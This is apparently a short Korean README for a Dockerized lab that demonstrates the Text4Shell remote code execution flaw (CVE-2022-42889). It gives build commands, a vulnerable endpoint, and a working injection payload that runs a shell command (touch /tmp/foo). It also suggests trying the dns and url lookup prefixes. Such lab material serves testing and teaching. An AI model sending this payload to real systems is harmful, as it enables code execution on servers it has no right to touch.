
CVE-2022-42889 (Text4Shell) RCE 취약점 테스트용 도커화된 랩 환경 - 스크립트, DNS 및 URL 조회 접두사를 사용한 단계별 익스플로잇 지침 포함.
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
dns 또는 url 접두사를 사용해 볼 수도 있습니다.
컨테이너 ID 확인
docker container ls
docker exec -it <container_id> bash
/tmp 디렉토리에 foo라는 파일이 생성되었는지 확인):ls /tmp/
docker container stop <container_id>